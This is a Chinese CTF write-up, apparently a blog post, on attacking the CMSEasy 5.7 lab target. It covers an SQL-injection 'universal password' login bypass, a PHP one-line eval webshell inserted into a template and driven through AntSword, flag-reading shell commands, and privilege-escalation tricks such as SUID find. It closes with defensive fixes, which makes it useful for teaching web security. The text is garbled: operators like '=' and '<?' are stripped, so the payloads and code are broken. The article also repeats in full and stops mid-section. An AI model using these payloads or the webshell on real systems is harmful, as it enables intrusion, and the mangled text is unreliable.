1. 项目概述一次典型的后台渗透实战最近在带新人复盘CTFshow的Web入门靶场其中CMSEazy 5.7这个靶场很有意思。它模拟了一个非常经典的场景一个存在已知漏洞的旧版本CMS后台攻击者通过信息收集和漏洞利用最终在服务器上执行任意命令。整个过程就像一次标准的安全渗透测试演练涵盖了从信息收集、漏洞定位到利用链构建的完整思路。对于刚接触Web安全的朋友来说这个靶场能帮你把书本上的SQL注入、文件上传、命令执行这些孤立的知识点串联成一个有逻辑的实战攻击链。今天我就把这个靶场的详细通关步骤连同每一步背后的原理和踩过的坑完整地拆解一遍。无论你是想入门CTF还是想理解一个老旧CMS系统是如何被攻破的这篇内容都能给你提供一个清晰的“作战地图”。2. 靶场环境与核心思路拆解2.1 CMSEazy 5.7靶场简介与漏洞背景CMSEasy是一款国内早期比较流行的内容管理系统。像很多开源CMS一样它在迭代过程中某些版本会因为编码疏忽或逻辑缺陷留下安全漏洞。这个靶场复现的正是CMSEasy 5.7版本中存在的几个关键漏洞的组合利用。我们最终的目标是获取服务器的命令执行权限也就是常说的“Getshell”。但直接攻击往往行不通我们需要像剥洋葱一样一层层突破。核心的攻击链可以概括为寻找后台入口 - 绕过或破解后台登录 - 利用后台功能如文件管理、模板编辑写入恶意代码 - 触发代码执行最终实现命令执行。这个思路在针对很多老旧CMS的渗透测试中非常普遍。靶场通常不会把漏洞明晃晃地放在你面前而是需要你根据CMS的版本、已知的公开漏洞信息比如在漏洞库中搜索“CMSEasy 5.7漏洞”来推测可能的攻击路径。2.2 整体渗透测试策略规划在开始具体操作前我们先规划一下步骤。盲目地点击和尝试效率很低也学不到东西。我的策略通常是“由外而内由浅入深”信息收集这是所有渗透测试的第一步。我们需要知道目标是什么。访问靶场地址查看页面源代码、HTTP响应头尝试访问常见的后台路径如/admin/admin.php/manage等看看能否直接找到后台登录页面。身份认证突破找到后台登录页面后面临的就是登录验证。常见手段有弱口令爆破、SQL注入绕过、验证码绕过、或者寻找无需登录的漏洞点。我们需要判断这个后台属于哪一种。权限内漏洞利用成功进入后台后我们拥有了一个“低权限”的账户。接下来就要在后台功能里寻找可以写入或修改服务器文件的地方。常见的有网站模板编辑、文件管理器上传、数据库备份功能、插件安装等。命令执行漏洞构造与利用在能够写入文件的基础上我们需要写入一段能执行系统命令的代码例如PHP的system()函数并找到触发这段代码执行的方法。这可能是一个单独的文件也可能是嵌入在正常模板文件中的一句话。交互式Shell获取与信息收集最后通过命令执行漏洞我们尝试反弹一个交互式的Shell回自己的攻击机或者直接读取服务器上的敏感文件如/flag完成挑战。这个流程就是一个标准的“后台Getshell”过程。下面我们就按照这个策略一步步走通它。3. 详细渗透步骤与原理剖析3.1 第一步信息收集与后台入口发现启动靶场环境后我们首先访问给定的IP和端口。通常是一个简单的CMS首页。按下F12打开开发者工具或者右键查看页面源代码。关键操作与原理查看源码在HTML源码中我们可能会发现注释、引用的JS/CSS文件路径这些路径有时会暗示后台目录。例如看到/template/admin/这样的路径就能推测后台可能有个admin目录。目录扫描这是更主动的方法。我们可以使用工具如dirsearch、gobuster或者简单的浏览器尝试探测常见的后台路径。对于这个靶场直接尝试访问/admin或/admin.php有很大概率会发现后台登录界面。这一步的原理是“基于已知的常见路径进行枚举”很多CMS的默认后台地址是公开的。注意在实际渗透测试中目录扫描可能会产生大量请求触发WAFWeb应用防火墙或IPS入侵防御系统的警报。在CTF或授权测试中可以适当调整扫描工具的线程数和延迟。实操记录 访问靶场URL在首页并未发现明显提示。尝试访问/admin返回404。尝试访问/admin.php成功跳转到一个登录页面标题显示“CMSEasy后台管理”。至此后台入口定位完成。地址类似于http://靶场IP:端口/admin.php。3.2 第二步后台登录绕过漏洞利用现在我们面对一个登录框需要用户名和密码。常规思路是尝试弱口令admin/admin, admin/123456等但CTF题目通常不会这么简单。这时我们需要思考这个登录验证逻辑本身是否有漏洞漏洞原理分析SQL注入漏洞对于CMSEasy 5.7已知存在一个后台登录的SQL注入漏洞。其根本原因在于登录验证的PHP代码在拼接用户输入用户名和密码到SQL查询语句时没有进行有效的过滤或使用参数化查询导致攻击者可以构造特殊的输入来改变SQL语句的原意从而绕过身份验证。典型的登录查询语句可能是SELECT * FROM user WHERE username ‘$username’ AND password ‘$password_hash’如果$username和$password我们可控就可以注入。但这里密码通常是经过MD5哈希的我们不知道明文直接注入密码字段比较困难。但用户名字段是明文比对是更好的注入点。利用Payload构造 一个经典的绕过Payload是在用户名处输入admin’ or ‘1’’1密码可以随意输入。 代入到SQL语句中会变成SELECT * FROM user WHERE username ‘admin’ or ‘1’’1’ AND password’ ‘随便输入的密码的哈希值’由于or ‘1’’1’这个条件永远为真整个WHERE子句的逻辑就变成了查找用户名为admin或者(11并且密码匹配)的记录。数据库会优先返回第一条满足条件的记录很可能就是admin用户。这样我们就以admin的身份登录了系统。详细操作步骤在后台登录页面 (/admin.php)。在用户名输入框填入admin’ or ‘1’’1(或者admin’ or 11##在SQL中注释掉后面的语句)。在密码输入框随意输入比如123456。点击登录。可能遇到的情况与排查登录失败可能Payload中的引号闭合方式不对。可以尝试变体如admin’ or ‘1’’1’ —(注意--后面有空格)admin’ or 11#。有验证码如果页面有验证码需要先观察验证码是否有逻辑漏洞如是否一次生成多次有效、是否可被绕过。本靶场5.7版本后台登录通常无验证码或验证码可被绕过。错误提示如果返回详细的SQL错误信息那更能证明存在注入点可以根据错误信息调整Payload。实操心得这个漏洞是“万能密码”漏洞的典型代表。其关键在于构造一个使查询条件恒为真的逻辑。在实际测试中单引号‘是触发SQL注入的“钥匙”。如果输入admin‘后页面报错说明存在注入点可能性极大。然后通过and 11和and 12测试页面返回是否不同来最终确认。3.3 第三步后台功能审计与文件写入点寻找成功登录后台后界面是标准的CMS管理面板通常包含文章管理、用户管理、模板管理、文件管理、系统设置等模块。我们的目标是找到一个能向网站目录写入任意内容尤其是PHP代码的功能。常见可利用的后台功能模板管理/主题编辑这是最经典的地方。CMS允许管理员在线编辑网站前端模板文件如.htm.html 有时甚至.php。如果我们能在模板文件中插入PHP代码当该模板被访问时代码就会被执行。文件管理器一些CMS集成了在线文件管理功能允许上传、编辑、删除文件。我们需要检查是否允许上传.php文件或者能否将.txt文件重命名为.php。数据库备份/恢复该功能可能允许将数据库备份为.sql文件并在备份过程中因为路径过滤不严导致将恶意代码写入.sql文件再通过访问该文件触发执行需要服务器配置不当将.sql当作PHP解析。插件/模块安装上传安装包ZIP格式系统会自动解压。如果压缩包内包含我们预制的PHP木马文件且解压路径在Web目录下即可Getshell。网站设置/自定义代码有些CMS在“站长统计代码”、“头部/底部代码”等设置项中允许输入HTML/JS代码如果过滤不严也可能直接执行PHP代码较少见。针对CMSEasy 5.7的路径 根据公开漏洞资料和实战经验CMSEasy 5.7后台的“模板管理”功能是常用的突破口。具体路径可能为“外观” - “模板管理” - 选择某个模板如index进行编辑。操作与原理 进入模板编辑界面你会看到一堆HTML混合着CMS标签的代码。我们需要找到一个会被直接输出渲染到页面的位置插入我们的PHP代码。例如在body标签内的任意位置插入以下代码?php eval($_POST[‘cmd’]);?这是一句经典的“一句话木马”Webshell。eval()函数会将其字符串参数当作PHP代码来执行。$_POST[‘cmd’]接收我们通过HTTP POST请求发送的名为cmd的参数。这样我们就能通过向这个模板文件对应的URL发送POST请求来执行任意PHP代码。重要警告符号用于抑制错误信息避免因执行出错而在页面上暴露我们的木马。在实际渗透测试中为了隐蔽木马的写法会千变万化并进行混淆加密以绕过简单的WAF或杀毒软件检测。实操记录登录后台后左侧菜单找到“模板”或“外观”相关选项。进入“模板管理”或“编辑模板”。通常有一个下拉列表让你选择要编辑的模板文件如index.htm首页模板。在编辑框中找到合适位置例如body标签后或者某个div标签内插入上述的一句话木马代码。务必点击保存。4. 命令执行漏洞的触发与利用4.1 定位Webshell访问路径与连接保存了包含一句话木马的模板后我们需要知道如何访问它来触发代码执行。模板文件本身通常不是直接访问的URL它需要通过CMS的解析引擎来渲染。路径推导方法直接访问模板物理路径尝试访问/template/default/index.htm假设默认模板在default目录。但这样访问服务器通常只会将其作为静态HTML文件输出不会解析其中的PHP代码因为.htm扩展名默认不关联PHP解析器。访问调用该模板的页面这才是正确方法。首页index.php或/通常会调用index.htm模板。因此我们直接访问网站首页其实就是在访问我们修改过的模板。但是首页内容复杂我们的木马代码可能被包裹在HTML中直接执行POST命令可能会遇到问题。寻找更干净的触发点更好的方法是找一个内容简单、几乎纯输出的页面所对应的模板。例如“关于我们”页面about.php对应的模板about.htm。修改about.htm并插入木马然后访问/about.php来连接。使用工具连接Webshell 我们无法通过浏览器直接执行复杂的命令。需要使用专业的Webshell连接工具如中国菜刀(Caidao)、AntSword(蚁剑)、CKnife等。这些工具会帮助我们构造包含命令参数的HTTP POST请求发送到木马所在的URL并解析返回的结果。以蚁剑(AntSword)为例打开蚁剑点击“添加数据”。URL地址填写包含木马的页面地址例如http://靶场IP:端口/about.php。连接密码填写我们木马中定义的参数名这里是cmd对应$_POST[‘cmd’]。编码器、请求头等通常保持默认即可。点击“添加”然后双击新添加的站点进行连接。如果一切顺利工具会成功连接并显示服务器端的目录结构。这意味着我们已经具备了在服务器上执行PHP代码的能力但我们的最终目标是执行系统命令。4.2 从Webshell到系统命令执行成功连接一句话木马后我们相当于拥有了一个受限的PHP执行环境。在这个环境里我们可以调用PHP的函数来执行系统命令。PHP中执行系统命令的函数system($command)执行外部命令并输出结果。exec($command, $output, $return_var)执行命令不输出结果可以将结果存入数组$output。shell_exec($command)通过Shell执行命令并以字符串形式返回完整输出。passthru($command)执行命令并直接输出原始结果。反引号command与shell_exec()功能相同。在蚁剑中操作 连接Webshell后蚁剑界面通常有一个类似“虚拟终端”或“命令执行”的标签页。在这里我们可以直接输入系统命令如whoami查看当前用户权限、pwd查看当前目录、ls -la列出文件等。关键步骤与判断测试命令执行权限首先输入whoami。返回结果可能是www-data、apache、nginx或root。这决定了我们的权限级别。非root用户可能无法读取某些受保护的文件。寻找Flag文件CTF题目的目标通常是读取一个名为flag、flag.txt或flag.php的文件。使用命令find / -name “flag*” 2/dev/null在全盘搜索。2/dev/null是为了将权限错误等无关信息丢弃让结果更清晰。读取Flag找到Flag文件路径后使用cat /path/to/flag命令将其内容打印出来。这就是我们需要提交的答案。实操记录与常见问题 在蚁剑的终端输入whoami返回www-data。说明我们以Web服务进程的权限在执行命令这是比较常见的低权限用户。 输入find / -type f -name “*flag*” 2/dev/null可能会返回类似/var/www/html/flag.txt的路径。 输入cat /var/www/html/flag.txt成功获取到一串由字母数字组成的字符串即本题的Flag。踩坑点有时执行cat命令可能没有回显。这可能是因为目标文件不存在或路径错误仔细检查find命令的结果或者尝试ls -la /var/www/html/查看目录下所有文件。权限不足www-data用户可能无权读取该文件。可以尝试使用sudo cat ...但通常需要密码。或者寻找其他具有读权限的文件或者尝试提权。命令被禁用某些服务器会禁用危险的PHP函数如systemshell_exec等。这时需要尝试其他函数或者使用PHP原生代码读取文件例如echo file_get_contents(‘/path/to/flag’);。在蚁剑中可以直接在“文件管理”中找到并右键点击文件进行查看。5. 漏洞深度解析与防御思考5.1 SQL注入漏洞成因与修复方案我们利用的第一个漏洞是后台登录的SQL注入。其根本原因是开发者直接将用户输入拼接到了SQL查询字符串中没有进行任何处理。漏洞代码模拟// 错误示例 $username $_POST[‘username’]; // 用户输入admin‘ or ’1‘’1 $password md5($_POST[‘password’]); $sql “SELECT * FROM cms_user WHERE username‘$username’ AND password‘$password’”; $result mysql_query($sql); if(mysql_num_rows($result) 0) { // 登录成功 }当$username为恶意字符串时SQL语句结构被破坏。修复方案使用参数化查询预编译语句这是最根本、最有效的解决方案。使用PDO或MySQLi扩展。// PDO示例 $stmt $pdo-prepare(“SELECT * FROM cms_user WHERE username ? AND password ?”); $stmt-execute([$username, $password]);预编译会将SQL语句结构和数据分开发送用户输入永远只被当作数据处理无法改变语句结构。对输入进行严格的转义和过滤如果因历史原因无法使用参数化查询必须使用数据库特定的转义函数如mysql_real_escape_string()注意该扩展已废弃并严格限定输入类型如用户名只允许字母数字。最小权限原则数据库连接用户不应使用root等高权限账户应仅赋予其必要的最小权限。5.2 后台文件写入与命令执行漏洞链第二个漏洞链是“后台权限文件写入代码执行”。其核心问题在于权限控制不严后台登录被绕过导致攻击者获得管理员权限。功能安全缺失后台的模板编辑功能没有对写入内容进行安全检查允许写入任意PHP代码。输入输出验证缺失服务器无条件信任并执行Web目录下的PHP文件。修复方案强化身份认证使用强密码、增加二次验证如Google Authenticator、对登录失败进行限制和记录。修复SQL注入漏洞是前提。严格的后台操作审计与过滤对模板编辑、文件上传等功能实施严格的内容安全策略。文件类型检查不仅检查后缀名更要检查文件内容头Magic Number防止上传伪装成图片的PHP脚本。内容过滤对用户提交的模板内容过滤或转义潜在的PHP标签?php?script language”php”等。但要注意过于严格的过滤可能影响正常功能。目录权限隔离将可执行脚本如PHP文件和用户上传的文件存放在不同的目录并为上传目录配置禁止脚本执行通过Web服务器配置如Nginx的location ~* \.php$ { deny all; }。部署Web应用防火墙WAFWAF可以帮助拦截常见的攻击Payload如SQL注入语句、一句话木马特征码等为修复漏洞争取时间。定期更新与漏洞修补使用开源CMS务必关注其官方安全公告及时更新到最新版本。CMSEasy 5.7的漏洞在后续版本中已被修复。6. 拓展与高阶利用思路6.1 信息收集的更多手段在第一步我们只做了简单的目录扫描。更深入的信息收集可以包括CMS指纹识别使用工具如Wappalyzer浏览器插件或whatweb命令行识别出CMS的具体名称和版本号。得知是“CMSEasy 5.7”后可以直接去搜索引擎或漏洞库如Exploit-DB CNVD CNNVD搜索该版本的公开漏洞极大提高效率。敏感文件泄露尝试访问/robots.txt/www.zip/.git//.svn/等看是否存在源码或目录信息泄露。服务器信息通过HTTP响应头中的Server、X-Powered-By字段获取Web服务器Apache/Nginx和PHP版本信息为后续可能的服务器漏洞利用做准备。6.2 当SQL注入被防御后的登录绕过思路如果后台登录修复了SQL注入我们还有其他思路吗有的这取决于漏洞点。密码重置漏洞攻击密码重置功能例如通过篡改重置链接中的用户ID参数将其他用户如admin的密码重置为自己的邮箱然后通过邮箱接收重置链接。会话伪造/固定如果CMS的会话管理存在缺陷可能允许攻击者伪造或预测管理员会话ID从而直接进入后台。默认凭证与弱口令永远不要忽略尝试最基础的admin/adminadmin/123456admin/password等组合。很多管理员安全意识薄弱。寻找无需登录的后台漏洞有些CMS的后台某些API接口或页面可能存在逻辑漏洞无需登录即可访问并执行高危操作。这需要仔细审计源码或进行模糊测试。6.3 命令执行后的权限提升提权在本靶场中我们以www-data权限拿到了Flag。但在真实环境中这个权限很低。我们需要进行权限提升Privilege Escalation来获得root权限以完全控制服务器。Linux系统提权常见思路内核漏洞提权使用uname -a查看内核版本搜索该版本存在的公开本地提权漏洞如Dirty Cow下载对应的EXP漏洞利用程序到服务器编译并执行。SUID/GUID文件滥用查找设置了SUID位的可执行文件find / -perm -us -type f 2/dev/null如果其中某些命令如findvimbashcp等配置不当可以利用它们来提权。例如已知的find命令SUID提权find . -exec /bin/bash -p \;。环境变量劫持如果以高权限运行的脚本调用了未使用绝对路径的命令如system(“ls”)我们可以在当前目录创建一个恶意的ls可执行文件并操纵环境变量PATH让脚本执行我们的恶意文件。计划任务Cron Job查看系统计划任务cat /etc/crontab看是否有以root权限运行的脚本且该脚本我们具有写入权限或者其引用的文件我们可写那么修改该文件即可在任务执行时获得root权限。这些提权操作复杂度较高需要根据目标系统的具体环境进行研究和尝试是渗透测试中更具挑战性的环节。通过这个CMSEasy 5.7的靶场练习我们完整地走通了一条从外网到命令执行的攻击链。理解每一步的原理和背后的安全缺陷远比单纯记住Payload更重要。在防守端每一个环节的疏忽都可能给攻击者打开一扇门。
1. 项目概述一次典型的后台渗透实战最近在带新人复盘CTFshow的Web入门靶场其中CMSEazy 5.7这个靶场很有意思。它模拟了一个非常经典的场景一个存在已知漏洞的旧版本CMS后台攻击者通过信息收集和漏洞利用最终在服务器上执行任意命令。整个过程就像一次标准的安全渗透测试演练涵盖了从信息收集、漏洞定位到利用链构建的完整思路。对于刚接触Web安全的朋友来说这个靶场能帮你把书本上的SQL注入、文件上传、命令执行这些孤立的知识点串联成一个有逻辑的实战攻击链。今天我就把这个靶场的详细通关步骤连同每一步背后的原理和踩过的坑完整地拆解一遍。无论你是想入门CTF还是想理解一个老旧CMS系统是如何被攻破的这篇内容都能给你提供一个清晰的“作战地图”。2. 靶场环境与核心思路拆解2.1 CMSEazy 5.7靶场简介与漏洞背景CMSEasy是一款国内早期比较流行的内容管理系统。像很多开源CMS一样它在迭代过程中某些版本会因为编码疏忽或逻辑缺陷留下安全漏洞。这个靶场复现的正是CMSEasy 5.7版本中存在的几个关键漏洞的组合利用。我们最终的目标是获取服务器的命令执行权限也就是常说的“Getshell”。但直接攻击往往行不通我们需要像剥洋葱一样一层层突破。核心的攻击链可以概括为寻找后台入口 - 绕过或破解后台登录 - 利用后台功能如文件管理、模板编辑写入恶意代码 - 触发代码执行最终实现命令执行。这个思路在针对很多老旧CMS的渗透测试中非常普遍。靶场通常不会把漏洞明晃晃地放在你面前而是需要你根据CMS的版本、已知的公开漏洞信息比如在漏洞库中搜索“CMSEasy 5.7漏洞”来推测可能的攻击路径。2.2 整体渗透测试策略规划在开始具体操作前我们先规划一下步骤。盲目地点击和尝试效率很低也学不到东西。我的策略通常是“由外而内由浅入深”信息收集这是所有渗透测试的第一步。我们需要知道目标是什么。访问靶场地址查看页面源代码、HTTP响应头尝试访问常见的后台路径如/admin/admin.php/manage等看看能否直接找到后台登录页面。身份认证突破找到后台登录页面后面临的就是登录验证。常见手段有弱口令爆破、SQL注入绕过、验证码绕过、或者寻找无需登录的漏洞点。我们需要判断这个后台属于哪一种。权限内漏洞利用成功进入后台后我们拥有了一个“低权限”的账户。接下来就要在后台功能里寻找可以写入或修改服务器文件的地方。常见的有网站模板编辑、文件管理器上传、数据库备份功能、插件安装等。命令执行漏洞构造与利用在能够写入文件的基础上我们需要写入一段能执行系统命令的代码例如PHP的system()函数并找到触发这段代码执行的方法。这可能是一个单独的文件也可能是嵌入在正常模板文件中的一句话。交互式Shell获取与信息收集最后通过命令执行漏洞我们尝试反弹一个交互式的Shell回自己的攻击机或者直接读取服务器上的敏感文件如/flag完成挑战。这个流程就是一个标准的“后台Getshell”过程。下面我们就按照这个策略一步步走通它。3. 详细渗透步骤与原理剖析3.1 第一步信息收集与后台入口发现启动靶场环境后我们首先访问给定的IP和端口。通常是一个简单的CMS首页。按下F12打开开发者工具或者右键查看页面源代码。关键操作与原理查看源码在HTML源码中我们可能会发现注释、引用的JS/CSS文件路径这些路径有时会暗示后台目录。例如看到/template/admin/这样的路径就能推测后台可能有个admin目录。目录扫描这是更主动的方法。我们可以使用工具如dirsearch、gobuster或者简单的浏览器尝试探测常见的后台路径。对于这个靶场直接尝试访问/admin或/admin.php有很大概率会发现后台登录界面。这一步的原理是“基于已知的常见路径进行枚举”很多CMS的默认后台地址是公开的。注意在实际渗透测试中目录扫描可能会产生大量请求触发WAFWeb应用防火墙或IPS入侵防御系统的警报。在CTF或授权测试中可以适当调整扫描工具的线程数和延迟。实操记录 访问靶场URL在首页并未发现明显提示。尝试访问/admin返回404。尝试访问/admin.php成功跳转到一个登录页面标题显示“CMSEasy后台管理”。至此后台入口定位完成。地址类似于http://靶场IP:端口/admin.php。3.2 第二步后台登录绕过漏洞利用现在我们面对一个登录框需要用户名和密码。常规思路是尝试弱口令admin/admin, admin/123456等但CTF题目通常不会这么简单。这时我们需要思考这个登录验证逻辑本身是否有漏洞漏洞原理分析SQL注入漏洞对于CMSEasy 5.7已知存在一个后台登录的SQL注入漏洞。其根本原因在于登录验证的PHP代码在拼接用户输入用户名和密码到SQL查询语句时没有进行有效的过滤或使用参数化查询导致攻击者可以构造特殊的输入来改变SQL语句的原意从而绕过身份验证。典型的登录查询语句可能是SELECT * FROM user WHERE username ‘$username’ AND password ‘$password_hash’如果$username和$password我们可控就可以注入。但这里密码通常是经过MD5哈希的我们不知道明文直接注入密码字段比较困难。但用户名字段是明文比对是更好的注入点。利用Payload构造 一个经典的绕过Payload是在用户名处输入admin’ or ‘1’’1密码可以随意输入。 代入到SQL语句中会变成SELECT * FROM user WHERE username ‘admin’ or ‘1’’1’ AND password’ ‘随便输入的密码的哈希值’由于or ‘1’’1’这个条件永远为真整个WHERE子句的逻辑就变成了查找用户名为admin或者(11并且密码匹配)的记录。数据库会优先返回第一条满足条件的记录很可能就是admin用户。这样我们就以admin的身份登录了系统。详细操作步骤在后台登录页面 (/admin.php)。在用户名输入框填入admin’ or ‘1’’1(或者admin’ or 11##在SQL中注释掉后面的语句)。在密码输入框随意输入比如123456。点击登录。可能遇到的情况与排查登录失败可能Payload中的引号闭合方式不对。可以尝试变体如admin’ or ‘1’’1’ —(注意--后面有空格)admin’ or 11#。有验证码如果页面有验证码需要先观察验证码是否有逻辑漏洞如是否一次生成多次有效、是否可被绕过。本靶场5.7版本后台登录通常无验证码或验证码可被绕过。错误提示如果返回详细的SQL错误信息那更能证明存在注入点可以根据错误信息调整Payload。实操心得这个漏洞是“万能密码”漏洞的典型代表。其关键在于构造一个使查询条件恒为真的逻辑。在实际测试中单引号‘是触发SQL注入的“钥匙”。如果输入admin‘后页面报错说明存在注入点可能性极大。然后通过and 11和and 12测试页面返回是否不同来最终确认。3.3 第三步后台功能审计与文件写入点寻找成功登录后台后界面是标准的CMS管理面板通常包含文章管理、用户管理、模板管理、文件管理、系统设置等模块。我们的目标是找到一个能向网站目录写入任意内容尤其是PHP代码的功能。常见可利用的后台功能模板管理/主题编辑这是最经典的地方。CMS允许管理员在线编辑网站前端模板文件如.htm.html 有时甚至.php。如果我们能在模板文件中插入PHP代码当该模板被访问时代码就会被执行。文件管理器一些CMS集成了在线文件管理功能允许上传、编辑、删除文件。我们需要检查是否允许上传.php文件或者能否将.txt文件重命名为.php。数据库备份/恢复该功能可能允许将数据库备份为.sql文件并在备份过程中因为路径过滤不严导致将恶意代码写入.sql文件再通过访问该文件触发执行需要服务器配置不当将.sql当作PHP解析。插件/模块安装上传安装包ZIP格式系统会自动解压。如果压缩包内包含我们预制的PHP木马文件且解压路径在Web目录下即可Getshell。网站设置/自定义代码有些CMS在“站长统计代码”、“头部/底部代码”等设置项中允许输入HTML/JS代码如果过滤不严也可能直接执行PHP代码较少见。针对CMSEasy 5.7的路径 根据公开漏洞资料和实战经验CMSEasy 5.7后台的“模板管理”功能是常用的突破口。具体路径可能为“外观” - “模板管理” - 选择某个模板如index进行编辑。操作与原理 进入模板编辑界面你会看到一堆HTML混合着CMS标签的代码。我们需要找到一个会被直接输出渲染到页面的位置插入我们的PHP代码。例如在body标签内的任意位置插入以下代码?php eval($_POST[‘cmd’]);?这是一句经典的“一句话木马”Webshell。eval()函数会将其字符串参数当作PHP代码来执行。$_POST[‘cmd’]接收我们通过HTTP POST请求发送的名为cmd的参数。这样我们就能通过向这个模板文件对应的URL发送POST请求来执行任意PHP代码。重要警告符号用于抑制错误信息避免因执行出错而在页面上暴露我们的木马。在实际渗透测试中为了隐蔽木马的写法会千变万化并进行混淆加密以绕过简单的WAF或杀毒软件检测。实操记录登录后台后左侧菜单找到“模板”或“外观”相关选项。进入“模板管理”或“编辑模板”。通常有一个下拉列表让你选择要编辑的模板文件如index.htm首页模板。在编辑框中找到合适位置例如body标签后或者某个div标签内插入上述的一句话木马代码。务必点击保存。4. 命令执行漏洞的触发与利用4.1 定位Webshell访问路径与连接保存了包含一句话木马的模板后我们需要知道如何访问它来触发代码执行。模板文件本身通常不是直接访问的URL它需要通过CMS的解析引擎来渲染。路径推导方法直接访问模板物理路径尝试访问/template/default/index.htm假设默认模板在default目录。但这样访问服务器通常只会将其作为静态HTML文件输出不会解析其中的PHP代码因为.htm扩展名默认不关联PHP解析器。访问调用该模板的页面这才是正确方法。首页index.php或/通常会调用index.htm模板。因此我们直接访问网站首页其实就是在访问我们修改过的模板。但是首页内容复杂我们的木马代码可能被包裹在HTML中直接执行POST命令可能会遇到问题。寻找更干净的触发点更好的方法是找一个内容简单、几乎纯输出的页面所对应的模板。例如“关于我们”页面about.php对应的模板about.htm。修改about.htm并插入木马然后访问/about.php来连接。使用工具连接Webshell 我们无法通过浏览器直接执行复杂的命令。需要使用专业的Webshell连接工具如中国菜刀(Caidao)、AntSword(蚁剑)、CKnife等。这些工具会帮助我们构造包含命令参数的HTTP POST请求发送到木马所在的URL并解析返回的结果。以蚁剑(AntSword)为例打开蚁剑点击“添加数据”。URL地址填写包含木马的页面地址例如http://靶场IP:端口/about.php。连接密码填写我们木马中定义的参数名这里是cmd对应$_POST[‘cmd’]。编码器、请求头等通常保持默认即可。点击“添加”然后双击新添加的站点进行连接。如果一切顺利工具会成功连接并显示服务器端的目录结构。这意味着我们已经具备了在服务器上执行PHP代码的能力但我们的最终目标是执行系统命令。4.2 从Webshell到系统命令执行成功连接一句话木马后我们相当于拥有了一个受限的PHP执行环境。在这个环境里我们可以调用PHP的函数来执行系统命令。PHP中执行系统命令的函数system($command)执行外部命令并输出结果。exec($command, $output, $return_var)执行命令不输出结果可以将结果存入数组$output。shell_exec($command)通过Shell执行命令并以字符串形式返回完整输出。passthru($command)执行命令并直接输出原始结果。反引号command与shell_exec()功能相同。在蚁剑中操作 连接Webshell后蚁剑界面通常有一个类似“虚拟终端”或“命令执行”的标签页。在这里我们可以直接输入系统命令如whoami查看当前用户权限、pwd查看当前目录、ls -la列出文件等。关键步骤与判断测试命令执行权限首先输入whoami。返回结果可能是www-data、apache、nginx或root。这决定了我们的权限级别。非root用户可能无法读取某些受保护的文件。寻找Flag文件CTF题目的目标通常是读取一个名为flag、flag.txt或flag.php的文件。使用命令find / -name “flag*” 2/dev/null在全盘搜索。2/dev/null是为了将权限错误等无关信息丢弃让结果更清晰。读取Flag找到Flag文件路径后使用cat /path/to/flag命令将其内容打印出来。这就是我们需要提交的答案。实操记录与常见问题 在蚁剑的终端输入whoami返回www-data。说明我们以Web服务进程的权限在执行命令这是比较常见的低权限用户。 输入find / -type f -name “*flag*” 2/dev/null可能会返回类似/var/www/html/flag.txt的路径。 输入cat /var/www/html/flag.txt成功获取到一串由字母数字组成的字符串即本题的Flag。踩坑点有时执行cat命令可能没有回显。这可能是因为目标文件不存在或路径错误仔细检查find命令的结果或者尝试ls -la /var/www/html/查看目录下所有文件。权限不足www-data用户可能无权读取该文件。可以尝试使用sudo cat ...但通常需要密码。或者寻找其他具有读权限的文件或者尝试提权。命令被禁用某些服务器会禁用危险的PHP函数如systemshell_exec等。这时需要尝试其他函数或者使用PHP原生代码读取文件例如echo file_get_contents(‘/path/to/flag’);。在蚁剑中可以直接在“文件管理”中找到并右键点击文件进行查看。5. 漏洞深度解析与防御思考5.1 SQL注入漏洞成因与修复方案我们利用的第一个漏洞是后台登录的SQL注入。其根本原因是开发者直接将用户输入拼接到了SQL查询字符串中没有进行任何处理。漏洞代码模拟// 错误示例 $username $_POST[‘username’]; // 用户输入admin‘ or ’1‘’1 $password md5($_POST[‘password’]); $sql “SELECT * FROM cms_user WHERE username‘$username’ AND password‘$password’”; $result mysql_query($sql); if(mysql_num_rows($result) 0) { // 登录成功 }当$username为恶意字符串时SQL语句结构被破坏。修复方案使用参数化查询预编译语句这是最根本、最有效的解决方案。使用PDO或MySQLi扩展。// PDO示例 $stmt $pdo-prepare(“SELECT * FROM cms_user WHERE username ? AND password ?”); $stmt-execute([$username, $password]);预编译会将SQL语句结构和数据分开发送用户输入永远只被当作数据处理无法改变语句结构。对输入进行严格的转义和过滤如果因历史原因无法使用参数化查询必须使用数据库特定的转义函数如mysql_real_escape_string()注意该扩展已废弃并严格限定输入类型如用户名只允许字母数字。最小权限原则数据库连接用户不应使用root等高权限账户应仅赋予其必要的最小权限。5.2 后台文件写入与命令执行漏洞链第二个漏洞链是“后台权限文件写入代码执行”。其核心问题在于权限控制不严后台登录被绕过导致攻击者获得管理员权限。功能安全缺失后台的模板编辑功能没有对写入内容进行安全检查允许写入任意PHP代码。输入输出验证缺失服务器无条件信任并执行Web目录下的PHP文件。修复方案强化身份认证使用强密码、增加二次验证如Google Authenticator、对登录失败进行限制和记录。修复SQL注入漏洞是前提。严格的后台操作审计与过滤对模板编辑、文件上传等功能实施严格的内容安全策略。文件类型检查不仅检查后缀名更要检查文件内容头Magic Number防止上传伪装成图片的PHP脚本。内容过滤对用户提交的模板内容过滤或转义潜在的PHP标签?php?script language”php”等。但要注意过于严格的过滤可能影响正常功能。目录权限隔离将可执行脚本如PHP文件和用户上传的文件存放在不同的目录并为上传目录配置禁止脚本执行通过Web服务器配置如Nginx的location ~* \.php$ { deny all; }。部署Web应用防火墙WAFWAF可以帮助拦截常见的攻击Payload如SQL注入语句、一句话木马特征码等为修复漏洞争取时间。定期更新与漏洞修补使用开源CMS务必关注其官方安全公告及时更新到最新版本。CMSEasy 5.7的漏洞在后续版本中已被修复。6. 拓展与高阶利用思路6.1 信息收集的更多手段在第一步我们只做了简单的目录扫描。更深入的信息收集可以包括CMS指纹识别使用工具如Wappalyzer浏览器插件或whatweb命令行识别出CMS的具体名称和版本号。得知是“CMSEasy 5.7”后可以直接去搜索引擎或漏洞库如Exploit-DB CNVD CNNVD搜索该版本的公开漏洞极大提高效率。敏感文件泄露尝试访问/robots.txt/www.zip/.git//.svn/等看是否存在源码或目录信息泄露。服务器信息通过HTTP响应头中的Server、X-Powered-By字段获取Web服务器Apache/Nginx和PHP版本信息为后续可能的服务器漏洞利用做准备。6.2 